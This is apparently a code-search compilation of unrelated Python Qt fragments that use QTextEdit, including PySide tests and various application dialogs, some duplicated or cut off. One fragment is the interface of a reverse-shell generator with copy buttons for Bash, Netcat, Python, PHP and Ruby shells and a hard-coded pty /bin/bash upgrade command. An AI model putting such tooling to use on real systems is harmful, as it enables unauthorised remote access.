class QAbstractTextDocumentLayoutTest(UsesQApplication): objectType = QTextFormat.UserObject + 1 def foo(self): fmt = QTextCharFormat() fmt.setObjectType(QAbstractTextDocumentLayoutTest.objectType) cursor = self.textEdit.textCursor() cursor.insertText(py3k.unichr(0xfffc), fmt) self.textEdit.setTextCursor(cursor) self.textEdit.close() def testIt(self): self.textEdit = QTextEdit() self.textEdit.show() interface = Foo() self.textEdit.document().documentLayout().registerHandler(QAbstractTextDocumentLayoutTest.objectType, interface) QTimer.singleShot(0, self.foo) self.app.exec_() self.assertTrue(Foo.called)
def testRefcount(self): textedit = QTextEdit() textedit.setReadOnly(True) doc = textedit.document() cursor = QTextCursor(doc) cursor.insertText("PySide Rocks") ud = TestUserData({"Life": 42}) self.assertEqual(sys.getrefcount(ud), 2) cursor.block().setUserData(ud) self.assertEqual(sys.getrefcount(ud), 3) ud2 = cursor.block().userData() self.assertEqual(sys.getrefcount(ud), 4) self.udata = weakref.ref(ud, None) del ud, ud2 self.assertEqual(sys.getrefcount(self.udata()), 2)
def __init__(self, parent=None): super(AddDialogWidget, self).__init__(parent) nameLabel = QLabel("Name") addressLabel = QLabel("Address") buttonBox = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel) self.nameText = QLineEdit() self.addressText = QTextEdit() grid = QGridLayout() grid.setColumnStretch(1, 2) grid.addWidget(nameLabel, 0, 0) grid.addWidget(self.nameText, 0, 1) grid.addWidget(addressLabel, 1, 0, Qt.AlignLeft | Qt.AlignTop) grid.addWidget(self.addressText, 1, 1, Qt.AlignLeft) layout = QVBoxLayout() layout.addLayout(grid) layout.addWidget(buttonBox) self.setLayout(layout) self.setWindowTitle("Add a Contact") buttonBox.accepted.connect(self.accept) buttonBox.rejected.connect(self.reject)
def tesIterator(self): edit = QTextEdit() cursor = edit.textCursor() fmt = QTextCharFormat() frags = [] for i in range(10): fmt.setFontPointSize(i+10) frags.append("block%d"%i) cursor.insertText(frags[i], fmt) doc = edit.document() block = doc.begin() index = 0 for i in block: self.assertEqual(i.fragment().text(), frags[index]) index += 1
def testIt(self): self.textEdit = QTextEdit() self.textEdit.show() interface = Foo() self.textEdit.document().documentLayout().registerHandler(QAbstractTextDocumentLayoutTest.objectType, interface) QTimer.singleShot(0, self.foo) self.app.exec_() self.assertTrue(Foo.called)
class AddDialogWidget(QDialog): """ A dialog to add a new address to the addressbook. """ def __init__(self, parent=None): super(AddDialogWidget, self).__init__(parent) nameLabel = QLabel("Name") addressLabel = QLabel("Address") buttonBox = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel) self.nameText = QLineEdit() self.addressText = QTextEdit() grid = QGridLayout() grid.setColumnStretch(1, 2) grid.addWidget(nameLabel, 0, 0) grid.addWidget(self.nameText, 0, 1) grid.addWidget(addressLabel, 1, 0, Qt.AlignLeft | Qt.AlignTop) grid.addWidget(self.addressText, 1, 1, Qt.AlignLeft) layout = QVBoxLayout() layout.addLayout(grid) layout.addWidget(buttonBox) self.setLayout(layout) self.setWindowTitle("Add a Contact") buttonBox.accepted.connect(self.accept) buttonBox.rejected.connect(self.reject) # These properties make using this dialog a little cleaner. It's much # nicer to type "addDialog.address" to retrieve the address as compared # to "addDialog.addressText.toPlainText()" @property def name(self): return self.nameText.text() @property def address(self): return self.addressText.toPlainText()
class DontTouchReference(UsesQApplication): '''Check if the QTextTable returned by QTextCursor.insertTable() is not referenced by the QTextCursor that returns it.''' def setUp(self): super(DontTouchReference, self).setUp() self.editor = QTextEdit() self.cursor = self.editor.textCursor() self.table = self.cursor.insertTable(1, 1) def testQTextTable(self): # methods which return QTextTable should not increment its reference self.assertEqual(getrefcount(self.table), 2) f = self.cursor.currentFrame() del f self.assertEqual(getrefcount(self.table), 2) # destroying the cursor should not raise any "RuntimeError: internal # C++ object already deleted." when accessing the QTextTable del self.cursor self.assertEqual(getrefcount(self.table), 2) cell = self.table.cellAt(0, 0)
def createDockWindows(self): dock = QDockWidget("Program", self) dock.setFeatures(dock.NoDockWidgetFeatures) dock.DockWidgetMovable = False dock.setAllowedAreas(Qt.LeftDockWidgetArea) self.multiWidget = QWidget() font1 = QFont("Courier New", 10) self.title = QLabel("SOLAR PANEL Program") font2 = QFont("Courier New", 10) font2.setBold(True) self.author = QLabel("Tomasz Dróżdż") self.author.setFont(font2) self.other = QLabel("Politechnika Wrocławska") self.other2 = QLabel("Automatyka i Robotyka") self.vLayout = QVBoxLayout() self.vLayout.addWidget(self.title) self.vLayout.addWidget(self.author) self.vLayout.addWidget(self.other) self.vLayout.addWidget(self.other2) self.multiWidget.setLayout(self.vLayout) dock.setWidget(self.multiWidget) self.addDockWidget(Qt.LeftDockWidgetArea, dock) dock = QDockWidget("Zegar", self) dock.setAllowedAreas(Qt.LeftDockWidgetArea | Qt.RightDockWidgetArea) self.customerList = QLabel(dock) self.customerList.setText( ("John Doe, Harmony Enterprises, 12 Lakeside, Ambleton")) dock.setWidget(self.customerList) self.addDockWidget(Qt.LeftDockWidgetArea, dock) # dock = QDockWidget("Współrzędne dla domyślnej lokacji", self) # dock.setAllowedAreas(Qt.LeftDockWidgetArea | Qt.RightDockWidgetArea) # self.multiWidget2 = QWidget() # self.vLayout2 = QVBoxLayout() # self.result = QLabel(self.latlong) # self.latitude = QTextEdit() # self.latitude.setFixedHeight(24) # self.longitude = QTextEdit() # self.longitude.setFixedHeight(24) # self.button = QPushButton('Test', self) # self.button.clicked.connect(self.handleButton) # self.vLayout2.addWidget(self.latitude) # self.vLayout2.addWidget(self.longitude) # self.vLayout2.addWidget(self.button) # self.vLayout2.addWidget(self.result) # self.multiWidget2.setLayout(self.vLayout2); # dock.setWidget(self.multiWidget2); # self.addDockWidget(Qt.RightDockWidgetArea, dock) # def handleButton(self): # self.result.setText(self.latitude.toPlainText()+self.longitude.toPlainText()) dock = QDockWidget("Współrzędne", self) s = ephem.Sun() s.compute(epoch=ephem.now()) dock.setAllowedAreas(Qt.LeftDockWidgetArea | Qt.RightDockWidgetArea) self.multiWidget3 = QWidget() self.vLayout3 = QGridLayout() self.result = QLabel(self.latlong) self.latitude = QLabel('Latitude') self.longitude = QLabel('longitude') self.result = QLabel('Result') self.rightascension = QLabel('R.A.') self.latitudeEdit = QTextEdit() self.longitudeEdit = QTextEdit() self.resultEdit = QTextEdit() # self.latitude = QTextEdit() # self.latitude.setFixedHeight(24) # self.longitude = QTextEdit() # self.longitude.setFixedHeight(24) self.button = QPushButton('Test', self) self.button.clicked.connect(self.handleButton3) self.vLayout3.addWidget(self.latitude) self.vLayout3.addWidget(self.latitudeEdit) self.vLayout3.addWidget(self.longitude) self.vLayout3.addWidget(self.longitudeEdit) self.vLayout3.addWidget(self.rightascension) self.vLayout3.addWidget(self.button) self.vLayout3.addWidget(self.result) # self.vLayout3.addWidget(self.resultEdit) self.multiWidget3.setLayout(self.vLayout3) dock.setWidget(self.multiWidget3) self.addDockWidget(Qt.RightDockWidgetArea, dock)
class ConsoleWidget(QWidget): def __init__(self, title: str, software: Software, configuration, commands: List[str]): super().__init__() self.setWindowTitle(title) self.software = software self.configuration = configuration self.layout = QGridLayout() self.output = QTextEdit() self.output.acceptRichText = True self.input = QLineEdit() self.completer = QCompleter(commands, self) self.completer.setCaseSensitivity(Qt.CaseInsensitive) self.input.setCompleter(self.completer) self.input.setFocus() self.layout.addWidget(self.output) self.layout.addWidget(self.input) self.setLayout(self.layout) self.connect(self.input, SIGNAL("returnPressed(void)"), self.execute_user_command) self.connect(self.completer, SIGNAL("activated(const QString&)"), self.input.clear, Qt.QueuedConnection) def execute_user_command(self): cmd = str(self.input.text()) self.run_command(cmd) def run_command(self, cmd: str): log.info('run_command', program=self.software.cli, args=self.configuration.cli_args, cmd=cmd) self.output.append(f'> {cmd}\n') self.input.clear() process = QProcess() process.setProgram(self.software.cli) process.setCurrentReadChannel(0) # noinspection PyUnresolvedReferences process.readyReadStandardError.connect( lambda: self.handle_error(process)) # noinspection PyUnresolvedReferences process.readyReadStandardOutput.connect( lambda: self.handle_output(process)) connect_args = list(self.configuration.cli_args) args = cmd.split(' ') if args[0] == self.software.cli.split('/')[-1]: args.pop(0) process.setArguments(connect_args + args) process.start() def handle_error(self, process: QProcess): output: QByteArray = process.readAllStandardError() message = output.data().decode('utf-8').strip() self.output.append(message) def handle_output(self, process: QProcess): output: QByteArray = process.readAllStandardOutput() message = output.data().decode('utf-8').strip() if message.startswith('{') or message.startswith('['): formatter = HtmlFormatter() formatter.noclasses = True formatter.linenos = False formatter.nobackground = True message = highlight(message, JsonLexer(), formatter) self.output.insertHtml(message) else: self.output.append(message) # This is just for generating the command lists in constants # commands = None # if '== Blockchain ==' in message: # commands = self.parse_bitcoin_cli_commands(message) # elif 'lncli [global options] command [command options]' in message: # commands = self.parse_lncli_commands(message) # if commands is not None: # log.debug('commands', commands=commands) max_scroll = self.output.verticalScrollBar().maximum() self.output.verticalScrollBar().setValue(max_scroll) @staticmethod def parse_bitcoin_cli_commands(message: str): log.debug('parse_bitcoin_cli_commands') commands = [] for line in message.split(sep='\n'): line = line.strip() if not line or line.startswith('=='): continue command = line.split()[0] command = command.strip() commands.append(command) return commands @staticmethod def parse_lncli_commands(message: str): log.debug('parse_lncli_commands') at_commands = False commands = [] for line in message.split(sep='\n'): line = line.strip() if not at_commands: if 'COMMANDS:' in line: at_commands = True log.debug('commands line', line=line) continue elif 'GLOBAL OPTIONS' in line: return commands elif line.endswith(':') or not line: continue command = line.split()[0] command = command.strip().replace(',', '') commands.append(command) return commands
def __init__(self): QWidget.__init__(self) self.items = 0 # Left Layout self.left = QVBoxLayout() # Left self.copy_bash_btn = QPushButton("Copy Bash !") self.copy_netcat_btn = QPushButton("Copy Netcat !") self.copy_python_btn = QPushButton("Copy Python2 !") self.copy_php_btn = QPushButton("Copy PHP !") self.copy_ruby_btn = QPushButton("Copy Ruby !") self.edit_text_bash = QTextEdit() self.edit_text_netcat = QTextEdit() self.edit_text_python = QTextEdit() self.edit_text_php = QTextEdit() self.edit_text_ruby = QTextEdit() # Adding Left Widgets self.left.addWidget(self.edit_text_bash) self.left.addWidget(self.copy_bash_btn) self.left.addWidget(self.edit_text_netcat) self.left.addWidget(self.copy_netcat_btn) self.left.addWidget(self.edit_text_python) self.left.addWidget(self.copy_python_btn) self.left.addWidget(self.edit_text_php) self.left.addWidget(self.copy_php_btn) self.left.addWidget(self.edit_text_ruby) self.left.addWidget(self.copy_ruby_btn) # Right layout self.right = QVBoxLayout() self.right.setMargin(10) # Right self.ip_input = QLineEdit() self.port_input = QLineEdit() self.generate_btn = QPushButton("Generate") self.edit_text_listener = QTextEdit() self.copy_listener_btn = QPushButton("Copy Listener !") self.text_tty = QTextEdit() self.copy_tty_btn = QPushButton("Copy TTY !") self.clear_btn = QPushButton("Clear") self.quit_btn = QPushButton("Quit") self.generate_btn.setEnabled(False) self.set_local_ip() # IP label = QLabel("IP addr:") label.setSizePolicy(QSizePolicy.Ignored, QSizePolicy.Fixed) self.right.addWidget(label) self.right.addWidget(self.ip_input) # Port label = QLabel("Port:") label.setSizePolicy(QSizePolicy.Ignored, QSizePolicy.Fixed) self.right.addWidget(label) self.right.addWidget(self.port_input) # Generate self.right.addWidget(self.generate_btn) # Listener self.right.addWidget(self.edit_text_listener) self.right.addWidget(self.copy_listener_btn) # TTY self.right.addWidget(self.text_tty) self.right.addWidget(self.copy_tty_btn) self.text_tty.setText( "python -c 'import pty; pty.spawn(\"/bin/bash\")'") # Fill Space self.right.addWidget(QFrame()) # Clearn and Quit self.right.addWidget(self.clear_btn) self.right.addWidget(self.quit_btn) # Tabs Layout self.layout = QHBoxLayout() self.layout.addLayout(self.left) self.layout.addLayout(self.right) self.setLayout(self.layout) # Signals and Slots self.ip_input.textChanged.connect(self.check_generate) self.port_input.textChanged.connect(self.check_generate) self.generate_btn.clicked.connect(self.generate_reverse_shell) self.clear_btn.clicked.connect(self.clear_text) self.quit_btn.clicked.connect(self.quit_application) # Signal Copy self.copy_bash_btn.clicked.connect( partial(self.copy_text, self.edit_text_bash)) self.copy_netcat_btn.clicked.connect( partial(self.copy_text, self.edit_text_netcat)) self.copy_python_btn.clicked.connect( partial(self.copy_text, self.edit_text_python)) self.copy_php_btn.clicked.connect( partial(self.copy_text, self.edit_text_php)) self.copy_ruby_btn.clicked.connect( partial(self.copy_text, self.edit_text_ruby)) self.copy_listener_btn.clicked.connect( partial(self.copy_text, self.edit_text_listener)) self.copy_tty_btn.clicked.connect( partial(self.copy_text, self.text_tty))
def setUp(self): super(DontTouchReference, self).setUp() self.editor = QTextEdit() self.cursor = self.editor.textCursor() self.table = self.cursor.insertTable(1, 1)
def testCase(self): editor = QTextEdit() cursor = QTextCursor(editor.textCursor()) cursor.movePosition(QTextCursor.Start) mainFrame = cursor.currentFrame() plainCharFormat = QTextCharFormat() boldCharFormat = QTextCharFormat() boldCharFormat.setFontWeight(QFont.Bold); cursor.insertText(""" Text documents are represented by the QTextDocument class, rather than by QString objects. Each QTextDocument object contains information about the document's internal representation, its structure, and keeps track of modifications to provide undo/redo facilities. This approach allows features such as the layout management to be delegated to specialized classes, but also provides a focus for the framework.""", plainCharFormat) frameFormat = QTextFrameFormat() frameFormat.setMargin(32) frameFormat.setPadding(8) frameFormat.setBorder(4) cursor.insertFrame(frameFormat) cursor.insertText(""" Documents are either converted from external sources or created from scratch using Qt. The creation process can done by an editor widget, such as QTextEdit, or by explicit calls to the Scribe API.""", boldCharFormat) cursor = mainFrame.lastCursorPosition() cursor.insertText(""" There are two complementary ways to visualize the contents of a document: as a linear buffer that is used by editors to modify the contents, and as an object hierarchy containing structural information that is useful to layout engines. In the hierarchical model, the objects generally correspond to visual elements such as frames, tables, and lists. At a lower level, these elements describe properties such as the style of text used and its alignment. The linear representation of the document is used for editing and manipulation of the document's contents.""", plainCharFormat) frame = cursor.currentFrame() items = [] #test iterator for i in frame: items.append(i) #test __iadd__ b = frame.begin() i = 0 while not b.atEnd(): self.assertEqual(b, items[i]) self.assert_(b.parentFrame(), items[i].parentFrame()) b.__iadd__(1) i += 1 #test __isub__ b = frame.end() i = 0 while i > 0: self.assertEqual(b, items[i]) self.assert_(b.parentFrame(), items[i].parentFrame()) b.__isub__(1) i -= 1
def main_ui(self): self.setGeometry(QRect(40, 100, 714, 537)) self.setFixedSize(714, 537) self.setStyleSheet("background-color: rgb(50, 50, 55);\n" "font: 12pt \"Roboto\";\n" "color: rgb(255, 255, 255);") self.centralwidget = QWidget(self) self.horizontalLayoutWidget = QWidget(self.centralwidget) self.horizontalLayoutWidget.setGeometry(QRect(10, 0, 641, 71)) self.sender_email = QHBoxLayout(self.horizontalLayoutWidget) self.sender_email.setSpacing(10) self.sender_email.setContentsMargins(0, 10, 10, 10) self.label = QLabel(self.horizontalLayoutWidget) self.label_2 = QLabel(self.horizontalLayoutWidget) self.label_2.setText("Sender's Email Account ") self.sender_email_edit = QLineEdit(self.horizontalLayoutWidget) self.sender_email_edit.setMinimumSize(QSize(0, 40)) self.sender_email.addWidget(self.label) self.sender_email.addWidget(self.label_2) self.sender_email.addWidget(self.sender_email_edit) self.horizontalLayoutWidget_2 = QWidget(self.centralwidget) self.horizontalLayoutWidget_2.setGeometry(QRect(10, 90, 641, 61)) self.reciever_email = QHBoxLayout(self.horizontalLayoutWidget_2) self.reciever_email.setContentsMargins(10, 10, 10, 10) self.label_3 = QLabel(self.horizontalLayoutWidget_2) self.label_3.setText("Receiver's Email Account ") self.receiver = QLineEdit(self.horizontalLayoutWidget_2) self.receiver.setMinimumSize(QSize(0, 40)) self.reciever_email.addWidget(self.label_3) self.reciever_email.addWidget(self.receiver) self.horizontalLayoutWidget_3 = QWidget(self.centralwidget) self.horizontalLayoutWidget_3.setGeometry(QRect(10, 170, 641, 221)) self.message_layout = QHBoxLayout(self.horizontalLayoutWidget_3) self.message_layout.setContentsMargins(10, 10, 10, 10) self.label_5 = QLabel(self.horizontalLayoutWidget_3) self.label_5.setText("Your message: ") self.message = QTextEdit(self.horizontalLayoutWidget_3) self.message_layout.addWidget(self.label_5) self.message_layout.addWidget(self.message) self.label_4 = QLabel(self.centralwidget) self.label_4.setObjectName(u"label_4") self.label_4.setGeometry(QRect(10, 460, 641, 41)) self.label_4.setText( "A tip: Just type \"default\" as Sender's email account") self.go_button = QPushButton(self.centralwidget) self.go_button.setGeometry(QRect(430, 400, 211, 31)) self.go_button.setText("Let\'s Go") self.go_button.clicked.connect(lambda: self.send_email()) self.setCentralWidget(self.centralwidget) self.menubar = QMenuBar(self) self.menubar.setGeometry(QRect(0, 0, 667, 26)) self.setMenuBar(self.menubar) self.statusbar = QStatusBar(self) self.setStatusBar(self.statusbar) QMetaObject.connectSlotsByName(self)
def initUI(self): grid_layout = QGridLayout() grid_layout.setSpacing(10) self.setLayout(grid_layout) #Tutorial self.tutorialLabel = QLabel() self.tutorialLabel.setText( "Welcome to DeepCreamPy!\n\nIf you're new to DCP, please read the README.\nThis program does nothing without the proper setup of your images.\n\nReport any bugs you encounter to me on Github or Twitter @deeppomf." ) self.tutorialLabel.setAlignment(Qt.AlignCenter) self.tutorialLabel.setFont(QFont('Sans Serif', 13)) #Censor type group self.censorTypeGroupBox = QGroupBox('Censor Type') barButton = QRadioButton('Bar censor') mosaicButton = QRadioButton('Mosaic censor') barButton.setChecked(True) censorLayout = QVBoxLayout() censorLayout.addWidget(barButton) censorLayout.addWidget(mosaicButton) # censorLayout.addStretch(1) self.censorTypeGroupBox.setLayout(censorLayout) #Variation count group self.variationsGroupBox = QGroupBox('Number of Decensor Variations') var1Button = QRadioButton('1') var2Button = QRadioButton('2') var3Button = QRadioButton('4') var1Button.setChecked(True) varLayout = QVBoxLayout() varLayout.addWidget(var1Button) varLayout.addWidget(var2Button) varLayout.addWidget(var3Button) # varLayout.addStretch(1) self.variationsGroupBox.setLayout(varLayout) #Decensor button self.decensorButton = QPushButton('Decensor Your Images') self.decensorButton.clicked.connect(self.decensorClicked) self.decensorButton.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) #Progress message # self.progressGroupBox = QGroupBox('Progress') self.progressMessage = QTextEdit() self.progressCursor = QTextCursor(self.progressMessage.document()) self.progressMessage.setTextCursor(self.progressCursor) self.progressMessage.setReadOnly(True) self.progressCursor.insertText( "After you prepared your images, click on the decensor button once to begin decensoring.\nPlease be patient.\nDecensoring will take time.\n" ) # Progress Bar self.statusBar = QStatusBar(self) self.progressBar = QProgressBar() self.progressBar.setMinimum(0) self.progressBar.setMaximum(100) self.progressBar.setValue(0) self.statusLabel = QLabel("Showing Progress") self.statusBar.addWidget(self.statusLabel, 1) self.statusBar.addWidget(self.progressBar, 2) #put all groups into grid # addWidget(row, column, rowSpan, columnSpan) grid_layout.addWidget(self.tutorialLabel, 0, 0, 1, 2) grid_layout.addWidget(self.censorTypeGroupBox, 1, 0, 1, 1) grid_layout.addWidget(self.variationsGroupBox, 1, 1, 1, 1) grid_layout.addWidget(self.decensorButton, 2, 0, 1, 2) grid_layout.addWidget(self.progressMessage, 3, 0, 1, 2) grid_layout.addWidget(self.statusBar, 4, 0, 1, 2) #window size settings self.resize(900, 600) self.center() self.setWindowTitle('DeepCreamPy v2.2.0-beta') self.show()
def init_ui(self): self.setWindowTitle(_('Entry properties')) self.setWindowIcon(QIcon(config.ICON)) self.setSizeGripEnabled(False) self.setModal(True) self.layout = QFormLayout(self) self.label_surname = QLabel(_('Last name')) self.item_surname = QLineEdit() self.layout.addRow(self.label_surname, self.item_surname) self.label_name = QLabel(_('First name')) self.item_name = AdvComboBox() self.item_name.addItems(get_names()) self.layout.addRow(self.label_name, self.item_name) self.label_group = QLabel(_('Group')) self.item_group = AdvComboBox() self.item_group.addItems(get_race_groups()) self.layout.addRow(self.label_group, self.item_group) self.label_team = QLabel(_('Team')) self.item_team = AdvComboBox() self.item_team.addItems(get_race_teams()) self.layout.addRow(self.label_team, self.item_team) use_birthday = Config().configuration.get('use_birthday', False) if use_birthday: self.label_birthday = QLabel(_('Birthday')) self.item_birthday = QDateEdit() self.item_birthday.setDate(date.today()) self.item_birthday.setMaximumDate(date.today()) self.layout.addRow(self.label_birthday, self.item_birthday) else: self.label_year = QLabel(_('Year of birth')) self.item_year = QSpinBox() self.item_year.setMinimum(0) self.item_year.setMaximum(date.today().year) self.item_year.editingFinished.connect(self.year_change) self.layout.addRow(self.label_year, self.item_year) self.label_qual = QLabel(_('Qualification')) self.item_qual = AdvComboBox() for i in list(Qualification): self.item_qual.addItem(i.get_title()) self.layout.addRow(self.label_qual, self.item_qual) self.is_ok['bib'] = True self.label_bib = QLabel(_('Bib')) self.item_bib = QSpinBox() self.item_bib.setMinimum(0) self.item_bib.setMaximum(Limit.BIB) self.item_bib.valueChanged.connect(self.check_bib) self.layout.addRow(self.label_bib, self.item_bib) self.label_bib_info = QLabel('') self.layout.addRow(QLabel(''), self.label_bib_info) self.label_start = QLabel(_('Start time')) self.item_start = QTimeEdit() self.item_start.setDisplayFormat(self.time_format) self.layout.addRow(self.label_start, self.item_start) self.label_start_group = QLabel(_('Start group')) self.item_start_group = QSpinBox() self.item_start_group.setMinimum(0) self.item_start_group.setMaximum(99) self.layout.addRow(self.label_start_group, self.item_start_group) self.is_ok['card'] = True self.label_card = QLabel(_('Punch card #')) self.item_card = QSpinBox() self.item_card.setMinimum(0) self.item_card.setMaximum(9999999) self.item_card.valueChanged.connect(self.check_card) self.layout.addRow(self.label_card, self.item_card) self.label_card_info = QLabel('') self.layout.addRow(QLabel(''), self.label_card_info) self.item_rented = QCheckBox(_('rented card')) self.item_paid = QCheckBox(_('is paid')) self.item_out_of_competition = QCheckBox(_('out of competition')) self.item_personal = QCheckBox(_('personal participation')) self.layout.addRow(self.item_rented, self.item_out_of_competition) self.layout.addRow(self.item_paid, self.item_personal) self.label_comment = QLabel(_('Comment')) self.item_comment = QTextEdit() self.item_comment.setTabChangesFocus(True) self.layout.addRow(self.label_comment, self.item_comment) def cancel_changes(): self.close() def apply_changes(): try: self.apply_changes_impl() except Exception as e: logging.error(str(e)) self.close() button_box = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel) self.button_ok = button_box.button(QDialogButtonBox.Ok) self.button_ok.setText(_('OK')) self.button_ok.clicked.connect(apply_changes) self.button_cancel = button_box.button(QDialogButtonBox.Cancel) self.button_cancel.setText(_('Cancel')) self.button_cancel.clicked.connect(cancel_changes) self.layout.addRow(button_box) self.show()
def __init__(self, ip, port, sal, parent=None): super(EUI, self).__init__(parent) self.ip = ip self.port = port self.client = liveview.AsyncLiveViewClient(self.ip, self.port) self.event_loop = asyncio.get_event_loop() self.event_loop.run_until_complete(self.client.start()) # self.sal = salobj.Remote(SALPY_GenericCamera, index=salIndex) self.sal = sal # self.sal.subscribeEvent self.layout = QHBoxLayout() self.controlsLayout = QVBoxLayout() self.imageLayout = QVBoxLayout() layout = QHBoxLayout() self.startLiveViewButton = QPushButton("Start Live") self.startLiveViewButton.clicked.connect(self.startLiveView) self.stopLiveViewButton = QPushButton("Stop Live") self.stopLiveViewButton.clicked.connect(self.stopLiveView) layout.addWidget(self.startLiveViewButton) layout.addWidget(self.stopLiveViewButton) self.controlsLayout.addLayout(layout) layout = QHBoxLayout() layout.addWidget(QLabel("Exposure")) self.exposureTimeEdit = QDoubleSpinBox() self.exposureTimeEdit.setRange(0, 900.0) self.exposureTimeEdit.setDecimals(6) layout.addWidget(self.exposureTimeEdit) self.controlsLayout.addLayout(layout) layout = QVBoxLayout() subLayout = QHBoxLayout() subLayout.addWidget(QLabel("Top")) self.roiTopEdit = QDoubleSpinBox() self.roiTopEdit.setRange(0, 4095) self.roiTopEdit.setDecimals(0) subLayout.addWidget(self.roiTopEdit) layout.addLayout(subLayout) subLayout = QHBoxLayout() subLayout.addWidget(QLabel("Left")) self.roiLeftEdit = QDoubleSpinBox() self.roiLeftEdit.setRange(0, 4095) self.roiLeftEdit.setDecimals(0) subLayout.addWidget(self.roiLeftEdit) layout.addLayout(subLayout) subLayout = QHBoxLayout() subLayout.addWidget(QLabel("Width")) self.roiWidthEdit = QDoubleSpinBox() self.roiWidthEdit.setRange(0, 4095) self.roiWidthEdit.setDecimals(0) subLayout.addWidget(self.roiWidthEdit) layout.addLayout(subLayout) subLayout = QHBoxLayout() subLayout.addWidget(QLabel("Height")) self.roiHeightEdit = QDoubleSpinBox() self.roiHeightEdit.setRange(0, 4095) self.roiHeightEdit.setDecimals(0) subLayout.addWidget(self.roiHeightEdit) layout.addLayout(subLayout) self.setROIButton = QPushButton("Set") self.setROIButton.clicked.connect(self.setROI) layout.addWidget(self.setROIButton) self.setFullFrameButton = QPushButton("Set Full Frame") self.setFullFrameButton.clicked.connect(self.setFullFrame) layout.addWidget(self.setFullFrameButton) self.controlsLayout.addLayout(layout) layout = QVBoxLayout() layout.addWidget(QLabel("File Path:")) self.filePathEdit = QTextEdit() layout.addWidget(self.filePathEdit) self.takeExposureButton = QPushButton("Take Images") self.takeExposureButton.clicked.connect(self.takeImages) layout.addWidget(self.takeExposureButton) self.controlsLayout.addLayout(layout) img = Image.fromarray(np.zeros((1024, 1014))).convert("I") img.save("/tmp/foo.png") self.pix = QPixmap("/tmp/foo.png") self.imageLabel = QLabel() self.imageLabel.setPixmap(self.pix) self.imageLabel.setGeometry(QtCore.QRect(40, 40, 800, 800)) self.imageLayout.addWidget(self.imageLabel) self.layout.addLayout(self.controlsLayout) self.layout.addLayout(self.imageLayout) self.setLayout(self.layout) self.setFixedSize(1000, 880)
class Check(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self): grid = QGridLayout() self.lbl = QLabel() # self.lbl.resize(100, 10) self.btn = QPushButton('选择excel文件') self.btn.clicked.connect(self.showDialog) grid.addWidget(self.lbl, 1, 1, 1, 3) # 选中(1, 1)到(1, 3)三个格子 grid.addWidget(self.btn, 1, 4) # 选中格子(1, 4) vbox = QVBoxLayout() self.text = QTextEdit() vbox.addLayout(grid) # 区分: addLayout, addWidget vbox.addWidget(self.text) self.setLayout(vbox) self.setGeometry(300, 300, 600, 400) self.setWindowTitle("检查未填表学生") self.show() def showDialog(self): fname = QFileDialog.getOpenFileName(self, '选择excel文件', 'D:\下载', 'Excel file(*.xls)') if fname[0]: stus, time_ = self.checkStudents(fname[0]) self.text.setText(stus) self.lbl.setText(time_) def checkStudents(self, fname): file_path = fname # 获取当前时间 time_ = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) students_all = { "张抗疫": "18866668888", "李爱国": "16688886666", } try: df = pd.read_excel(file_path) students_done = df.loc[:, "姓名"] num = 0 # 未完成填写的人数 stus = "" # 未完成填写的名单 for student in students_all.keys(): # for-else语句, 中途退出不执行else, 完整执行循环才进入else for student_done in students_done: # 若在students_done列表中找到此student # 则break退出内层循环, 查找下一个student if student == student_done: break else: num += 1 # 输出电话号码格式为: xxx-xxxx-xxxx stus += ("%s,未完成数据填写!电话:%s-%s-%s\n" % (student, students_all[student][0:3], students_all[student][3:7], students_all[student][7:11])) if num == 0: stus = "\n全部学生完成填写, 时间:" + time_ else: stus += "\n共有%d个学生未完成填写!时间:" % num + time_ except: stus = "读取文件失败···" return stus, time_
def focusOutEvent(self, e): self.parent_node_instance.update() QTextEdit.focusOutEvent(self, e)
def __init__(self, squadron: Squadron, theater: ConflictTheater) -> None: super().__init__() self.squadron = squadron self.reset_title() columns = QHBoxLayout() self.setLayout(columns) left_column = QVBoxLayout() columns.addLayout(left_column) left_column.addWidget(QLabel("Name:")) self.name_edit = QLineEdit(squadron.name) self.name_edit.textChanged.connect(self.on_name_changed) left_column.addWidget(self.name_edit) nickname_edit_layout = QGridLayout() left_column.addLayout(nickname_edit_layout) nickname_edit_layout.addWidget(QLabel("Nickname:"), 0, 0, 1, 2) self.nickname_edit = QLineEdit(squadron.nickname) self.nickname_edit.textChanged.connect(self.on_nickname_changed) nickname_edit_layout.addWidget(self.nickname_edit, 1, 0, Qt.AlignTop) reroll_nickname_button = QToolButton() reroll_nickname_button.setIcon(QIcon(ICONS["Reload"])) reroll_nickname_button.setToolTip("Re-roll nickname") reroll_nickname_button.clicked.connect(self.reroll_nickname) nickname_edit_layout.addWidget(reroll_nickname_button, 1, 1, Qt.AlignTop) left_column.addWidget(QLabel("Base:")) self.base_selector = SquadronBaseSelector( theater.control_points_for(squadron.player), squadron.location, squadron.aircraft, ) self.base_selector.currentIndexChanged.connect(self.on_base_changed) left_column.addWidget(self.base_selector) if squadron.player: player_label = QLabel( "Players (one per line, leave empty for an AI-only squadron):") else: player_label = QLabel("Player slots not available for opfor") left_column.addWidget(player_label) players = [p for p in squadron.pilot_pool if p.player] for player in players: squadron.pilot_pool.remove(player) if not squadron.player: players = [] self.player_list = QTextEdit("<br />".join(p.name for p in players)) self.player_list.setAcceptRichText(False) self.player_list.setEnabled(squadron.player) left_column.addWidget(self.player_list) delete_button = QPushButton("Remove Squadron") delete_button.setMaximumWidth(140) delete_button.clicked.connect(self.remove_from_squadron_config) left_column.addWidget(delete_button) left_column.addStretch() self.allowed_missions = AllowedMissionTypeControls(squadron) columns.addLayout(self.allowed_missions)
